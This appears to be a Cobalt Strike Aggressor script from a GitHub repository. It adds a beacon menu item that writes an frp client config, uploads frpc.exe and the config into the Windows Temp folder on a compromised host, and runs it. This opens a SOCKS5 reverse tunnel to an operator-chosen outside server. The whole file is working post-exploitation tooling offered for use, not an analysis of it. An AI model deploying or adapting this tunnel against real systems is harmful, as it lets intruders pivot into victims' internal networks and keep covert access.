-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathUploadAndRunFrp.cna
36 lines (35 loc) · 1.68 KB
/
UploadAndRunFrp.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
sub FRP {
if($3['USERNAME'] == "" && $3['PASSWORD'] == ""){
$out = openf(">".script_resource("frpc/frpc.ini"));
writeb($out, "[common]\nserver_addr=".$3['IP']."\nserver_port=".$3['PORT']."\n[http_proxy]\ntype = tcp\nremote_port = ".$3['PPORT']."\nplugin = socks5");
closef($out);
}else{
$out = openf(">".script_resource("frpc/frpc.ini"));
writeb($out, "[common]\nserver_addr=".$3['IP']."\nserver_port=".$3['PORT']."\n[http_proxy]\ntype = tcp\nremote_port = ".$3['PPORT']."\nplugin = socks5\nplugin_user = ".$3['USERNAME']."\nplugin_passwd =".$3['PASSWORD']);
closef($out);
}
bcd($bid, $3['UploadPath']);
bupload($bid, script_resource("frpc/frpc.ini"));
if (-is64 $bid['id']) {
bupload($bid, script_resource("frpc/x64/frpc.exe"));
}else{
bupload($bid, script_resource("frpc/x86/frpc.exe"));
}
bshell($bid, $3['UploadPath']."frpc.exe -c ".$3['UploadPath']."frpc.ini");
}
popup beacon_bottom {
menu "FRP" {
item "Upload And Run FRP" {
$bid = $1;
$dialog = dialog("Upload FRP Config", %(UploadPath => "C:\\Windows\\Temp\\", IP => "127.0.0.1", PORT => "7000",PPORT => "6005",bid => $bid), &FRP);
drow_text($dialog, "UploadPath", "Upload Path: ");
drow_text($dialog, "IP", "Server IP: ");
drow_text($dialog, "PORT", "Server PORT: ");
drow_text($dialog, "PPORT", "Proxy PORT: ");
drow_text($dialog, "USERNAME", "Username:");
drow_text($dialog, "PASSWORD", "Password: ");
dbutton_action($dialog, "Upload And Run!");
dialog_show($dialog);
}
}
}